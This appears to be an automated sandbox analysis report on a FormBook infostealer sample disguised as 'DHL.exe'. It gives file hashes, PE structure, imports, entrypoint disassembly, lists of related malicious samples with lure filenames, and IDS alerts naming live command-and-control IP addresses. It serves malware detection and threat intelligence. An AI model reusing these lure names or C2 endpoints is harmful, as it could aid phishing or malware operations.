overdue.aliyun.com	Document.exe	Get hash	malicious	FormBook	Browse	170.33.13.246
	DPqKF5vqpe.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, Monster Stealer, PureLog Stealer, RedLine, SystemBC	Browse	170.33.13.246
	file.exe	Get hash	malicious	Unknown	Browse	170.33.13.246
	BRvptajioG.exe	Get hash	malicious	RedLine, SmokeLoader, Stealc	Browse	170.33.13.246
	Payment_Advice.exe	Get hash	malicious	FormBook	Browse	170.33.13.246
	SecuriteInfo.com.BackDoor.BlackHole.55951.25738.15896.exe	Get hash	malicious	Unknown	Browse	170.33.13.246
	SecuriteInfo.com.BackDoor.BlackHole.55951.25738.15896.exe	Get hash	malicious	Unknown	Browse	170.33.13.246
	file.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	170.33.13.246
	YSpCB8DEek.exe	Get hash	malicious	FormBook	Browse	170.33.13.246
	w8jII3Mlbs.exe	Get hash	malicious	FormBook	Browse	170.33.96.51
www.goldbracelet.top	Pp7OXMFwqhXKx5Y.exe	Get hash	malicious	FormBook	Browse	172.67.201.49
	1k24tbb-00241346.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	172.67.201.49
	file.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	104.21.36.239
www.juewucangku.xyz	Pp7OXMFwqhXKx5Y.exe	Get hash	malicious	FormBook	Browse	8.136.96.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	SFHgtxFGtB.ps1	Get hash	malicious	Unknown	Browse	104.21.87.65
	DG55Gu1yGM.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	he55PbvM2G.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	fsg5PWtTm2.lnk	Get hash	malicious	RedLine, SectopRAT	Browse	104.21.87.65
	1iC0WTxgUf.exe	Get hash	malicious	Unknown	Browse	104.18.0.75
	Instruction_695-18112-002_Rev.PDF.lnk.d.lnk	Get hash	malicious	Unknown	Browse	104.21.83.229
	https://essind.freshdesk.com/en/support/solutions/articles/157000010576-pedido-553268637	Get hash	malicious	Unknown	Browse	104.17.25.14
	seethebestmethodwithgreatnessgoodnewsgreatdaygivenme.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	104.21.84.67
	sweetnesswithgreatnessiwthbestthingswithmebackickmegreatthings.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	172.67.187.200
	createdbetterthingswithgreatnressgivenmebackwithnice.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	104.21.84.67
CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	2.elf	Get hash	malicious	Unknown	Browse	120.27.219.157
	1.elf	Get hash	malicious	Unknown	Browse	118.31.126.94
	1.bat	Get hash	malicious	Unknown	Browse	120.26.208.69
	236236236.elf	Get hash	malicious	Unknown	Browse	59.110.43.24
	x86_64.elf	Get hash	malicious	Mirai	Browse	8.144.123.120
	powerpc.elf	Get hash	malicious	Unknown	Browse	8.164.124.114
	arm7.elf	Get hash	malicious	Unknown	Browse	121.41.250.118
	arm6.elf	Get hash	malicious	Unknown	Browse	47.102.72.29
	mips.elf	Get hash	malicious	Unknown	Browse	8.189.60.225
	ppc.elf	Get hash	malicious	Unknown	Browse	59.82.118.117
FORTRESSITXUS	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	65.98.32.221
	Salmebogs(1).exe	Get hash	malicious	FormBook, GuLoader	Browse	69.57.163.64
	http://dimfa.elcompanies.digitalillustra.com	Get hash	malicious	Unknown	Browse	65.181.111.144
	RN# D7521-RN-00353 REV-2.exe	Get hash	malicious	FormBook	Browse	69.57.163.227
	RFQ 3100185 MAHAD.exe	Get hash	malicious	FormBook	Browse	69.57.163.227
	RN# D7521-RN-00353 REV-2.exe	Get hash	malicious	FormBook	Browse	69.57.163.227
	PO No-5100002069 Sr. No. 11 & PO No-5100002072 Sr. No. 8,10,17..exe	Get hash	malicious	FormBook	Browse	69.57.163.227
	INVOICE_PO# PUO202300054520249400661.exe	Get hash	malicious	FormBook	Browse	69.57.163.227
	TCP-F02-24-1437-HRSC24110281.exe	Get hash	malicious	FormBook	Browse	69.57.163.227
	Ponta Saheb. PO 4400049817.exe	Get hash	malicious	FormBook	Browse	69.57.163.227

Process:	C:\Users\user\Desktop\DHL.exe
File Type:	data
Category:	dropped
Size (bytes):	289280
Entropy (8bit):	7.991653149827653
Encrypted:	true
SSDEEP:	6144:nvyIpdOHEXtPCnr2oX7Bz2azjzPT8H1Tut1tQ:n6xEdQR2aPzPoH1/
MD5:	360EE5A2247C1737186E79AEA27CA312
SHA1:	CF4F5C98B7BDC225B10684569C6F147F072A574D
SHA-256:	3914823347F847A1E88137555E00DC20B6BBA63C16087AC3D6017C5F3ACBA9DF
SHA-512:	9BCB450C5B6A59160F92C63E84BB586B46F022E84238D0E435A03BE984EC5DC833D74B37F319537644CCE24E3DA558AE2F30417ACC883D13ABAF03AAE7A0FAE0
Malicious:	false
Reputation:	low
Preview:	...6F6F56023..Q6.6F52023.WQ6E6F52023HWQ6E6F52023HWQ6E6F52023.WQ6K).;2.;.i.Pz...][C.C:86D$[fVS^\\<w3SeD3[.Y\.....(Y"P.=?9lWQ6E6F5K1;.u76.xV!..PU.R....V!.(...t76._....PU..>2^xV!.2023HWQ6.sF5~133"XxnE6F52023.WS7N7M52h63HWQ6E6F5.$23HGQ6EFB520r3HGQ6E4F54023HWQ6C6F52023H'U6E4F52023JW..E6V52 23HWA6E&F52023XWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023f#4N16F5.f63HGQ6EnB52 23HWQ6E6F52023hWQVE6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6

C:\Users\user\AppData\Local\Temp\o3Z6161

Download File

Process:	C:\Windows\SysWOW64\wiaacmgr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209886597424439
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8QbnVcxjONC4Je5Q:r2qOB1nxCkvSAELyKOMq+8QTQKC+
MD5:	EFD26666EAE0E87B32082FF52F9F4C5E
SHA1:	603BFE6A7D6C0EC4B8BA1D38AEA6EFADDC42B5E0
SHA-256:	67D4CAA4255418EB18873F01597D1F4257C4146D1DCED78E26D5FD76B783F416
SHA-512:	28ADD7B8D88795F191567FD029E9F8BC9AEF7584CE3CD56DB40BBA52BC8335F2D8E53A5CE44C153C13A31FD0BE1D76D1E558A4AA5987D5456C000C4D64F08EAA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\woolpress

Download File

Process:	C:\Users\user\Desktop\DHL.exe
File Type:	data
Category:	dropped
Size (bytes):	289280
Entropy (8bit):	7.991653149827653
Encrypted:	true
SSDEEP:	6144:nvyIpdOHEXtPCnr2oX7Bz2azjzPT8H1Tut1tQ:n6xEdQR2aPzPoH1/
MD5:	360EE5A2247C1737186E79AEA27CA312
SHA1:	CF4F5C98B7BDC225B10684569C6F147F072A574D
SHA-256:	3914823347F847A1E88137555E00DC20B6BBA63C16087AC3D6017C5F3ACBA9DF
SHA-512:	9BCB450C5B6A59160F92C63E84BB586B46F022E84238D0E435A03BE984EC5DC833D74B37F319537644CCE24E3DA558AE2F30417ACC883D13ABAF03AAE7A0FAE0
Malicious:	false
Reputation:	low
Preview:	...6F6F56023..Q6.6F52023.WQ6E6F52023HWQ6E6F52023HWQ6E6F52023.WQ6K).;2.;.i.Pz...][C.C:86D$[fVS^\\<w3SeD3[.Y\.....(Y"P.=?9lWQ6E6F5K1;.u76.xV!..PU.R....V!.(...t76._....PU..>2^xV!.2023HWQ6.sF5~133"XxnE6F52023.WS7N7M52h63HWQ6E6F5.$23HGQ6EFB520r3HGQ6E4F54023HWQ6C6F52023H'U6E4F52023JW..E6V52 23HWA6E&F52023XWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023f#4N16F5.f63HGQ6EnB52 23HWQ6E6F52023hWQVE6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6E6F52023HWQ6

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.176256347840463
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	DHL.exe
File size:	1'257'984 bytes
MD5:	12e3c1457416b5622f040f8e0edc0298
SHA1:	74a88947c14538bf6ba2dccdeed472820159dc2c
SHA256:	1a2f0649b6a928da703f8ab11ace25807dff07e0e5310f995b9acb378cd1c6a5
SHA512:	8c670937acd7c8844cf3e8cec215ab34e65aeb86a1de570cc156bd59785da748d7c4e422739595d3846fed6b72d5eb38ab41859d8bd7d7c60e7444699ebd9a86
SSDEEP:	24576:iqDEvCTbMWu7rQYlBQcBiT6rprG8afd99HWql9OM9kYe7R4L7R:iTvC/MTQYxsWR7afxWuOM9kla
TLSH:	9445C0027391D062FFAB92334F5AF61156BD6E260123E51F13A82DB9BE701B1163E763
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......................j:......j:..C...j:......@.*...............................n.......~.............{.......{.......{.........z....

File Icon


Icon Hash:	3535113131313333

Static PE Info

General

Entrypoint:	0x420577
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6760BA99 [Mon Dec 16 23:41:13 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	948cc502fe9226992dce9417f952fce3

Entrypoint Preview

Instruction
call 00007FD930B22B93h
jmp 00007FD930B2249Fh
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007FD930B2267Dh
mov dword ptr [esi], 0049FDF0h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0049FDF8h
mov dword ptr [ecx], 0049FDF0h
ret
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007FD930B2264Ah
mov dword ptr [esi], 0049FE0Ch
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0049FE14h
mov dword ptr [ecx], 0049FE0Ch
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0049FDD0h
and dword ptr [eax], 00000000h
and dword ptr [eax+04h], 00000000h
push eax
mov eax, dword ptr [ebp+08h]
add eax, 04h
push eax
call 00007FD930B2523Dh
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
lea eax, dword ptr [ecx+04h]
mov dword ptr [ecx], 0049FDD0h
push eax
call 00007FD930B25288h
pop ecx
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0049FDD0h
push eax
call 00007FD930B25271h
test byte ptr [ebp+08h], 00000001h
pop ecx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc8e64	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd4000	0x5c75c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x131000	0x7594	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xb0ff0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc3400	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb1010	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9c000	0x894	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9ab1d	0x9ac00	0a1473f3064dcbc32ef93c5c8a90f3a6	False	0.565500681542811	data	6.668273581389308	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9c000	0x2fb82	0x2fc00	c9cf2468b60bf4f80f136ed54b3989fb	False	0.35289185209424084	data	5.691811547483722	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xcc000	0x706c	0x4800	53b9025d545d65e23295e30afdbd16d9	False	0.04356553819444445	DOS executable (block device driver @\273\)	0.5846666986982398	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xd4000	0x5c75c	0x5c800	cb6814b4b6c2c8c40b4bee71b3959041	False	0.9637616131756757	data	7.956395165601416	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x131000	0x7594	0x7600	c68ee8931a32d45eb82dc450ee40efc3	False	0.7628111758474576	data	6.7972128181359786	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xd43b0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xd44d8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	English	Great Britain	0.7304964539007093
RT_ICON	0xd4940	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	English	Great Britain	0.6348499061913696
RT_ICON	0xd59e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	English	Great Britain	0.5590248962655602
RT_STRING	0xd7f90	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xd8524	0x68a	data	English	Great Britain	0.2735961768219833
RT_STRING	0xd8bb0	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xd9040	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xd963c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xd9c98	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xda100	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xda258	0x55ff3	data			1.0003293181127801
RT_GROUP_ICON	0x13024c	0x30	data	English	Great Britain	0.9166666666666666
RT_GROUP_ICON	0x13027c	0x14	data	English	Great Britain	1.15
RT_VERSION	0x130290	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x13036c	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	gethostbyname, recv, send, socket, inet_ntoa, setsockopt, ntohs, WSACleanup, WSAStartup, sendto, htons, __WSAFDIsSet, select, accept, listen, bind, inet_addr, ioctlsocket, recvfrom, WSAGetLastError, closesocket, gethostname, connect
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetGetConnectionW, WNetCancelConnection2W, WNetUseConnectionW, WNetAddConnection2W
WININET.dll	HttpOpenRequestW, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, InternetConnectW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetQueryDataAvailable
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpSendEcho, IcmpCloseHandle, IcmpCreateFile
USERENV.dll	DestroyEnvironmentBlock, LoadUserProfileW, CreateEnvironmentBlock, UnloadUserProfile
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetShortPathNameW, DeleteFileW, IsDebuggerPresent, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, LoadResource, LockResource, SizeofResource, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, LoadLibraryW, GetLocalTime, CompareStringW, GetCurrentThread, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, VirtualAlloc, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, ResetEvent, WaitForSingleObjectEx, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, CloseHandle, GetFullPathNameW, GetStartupInfoW, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwind, SetLastError, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, ResumeThread, FreeLibraryAndExitThread, GetACP, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetStringTypeW, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, ReadConsoleW, GetTimeZoneInformation, FindFirstFileExW, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, SetCurrentDirectoryW, FindNextFileW, WriteConsoleW
USER32.dll	GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, PeekMessageW, GetInputState, UnregisterHotKey, CharLowerBuffW, MonitorFromPoint, MonitorFromRect, LoadImageW, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, ClientToScreen, GetCursorPos, DeleteMenu, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, LockWindowUpdate, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, RegisterHotKey, GetCursorInfo, SetWindowPos, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, TrackPopupMenuEx, GetMessageW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, DispatchMessageW, keybd_event, TranslateMessage, ScreenToClient
GDI32.dll	EndPath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, GetDeviceCaps, SetPixel, CloseFigure, LineTo, AngleArc, MoveToEx, Ellipse, CreateCompatibleBitmap, CreateCompatibleDC, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, SelectObject, StretchBlt, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, GetDIBits, StrokePath
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, RegCreateKeyExW, GetSecurityDescriptorDacl, GetAclInformation, GetUserNameW, AddAce, SetSecurityDescriptorDacl, InitiateSystemShutdownExW
SHELL32.dll	DragFinish, DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
OLEAUT32.dll	CreateStdDispatch, CreateDispTypeInfo, UnRegisterTypeLib, UnRegisterTypeLibForUser, RegisterTypeLibForUser, RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, VariantChangeType, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysStringLen, QueryPathOfRegTypeLib, SysAllocString, VariantInit, VariantClear, DispCallFunc, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, SafeArrayDestroyDescriptor, VariantCopy, OleLoadPicture

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-17T08:24:13.599131+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49709	185.199.110.153	80	TCP
2024-12-17T08:24:16.358783+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49710	185.199.110.153	80	TCP
2024-12-17T08:24:19.108224+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49711	185.199.110.153	80	TCP
2024-12-17T08:24:28.902939+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49713	104.21.48.233	80	TCP
2024-12-17T08:24:31.494241+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49714	104.21.48.233	80	TCP
2024-12-17T08:24:31.494241+0100	2856318	ETPRO MALWARE FormBook CnC Checkin (POST) M4	1	192.168.2.8	49714	104.21.48.233	80	TCP
2024-12-17T08:24:34.406390+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49715	104.21.48.233	80	TCP
2024-12-17T08:24:44.111502+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49719	199.59.243.227	80	TCP
2024-12-17T08:24:46.802876+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49720	199.59.243.227	80	TCP
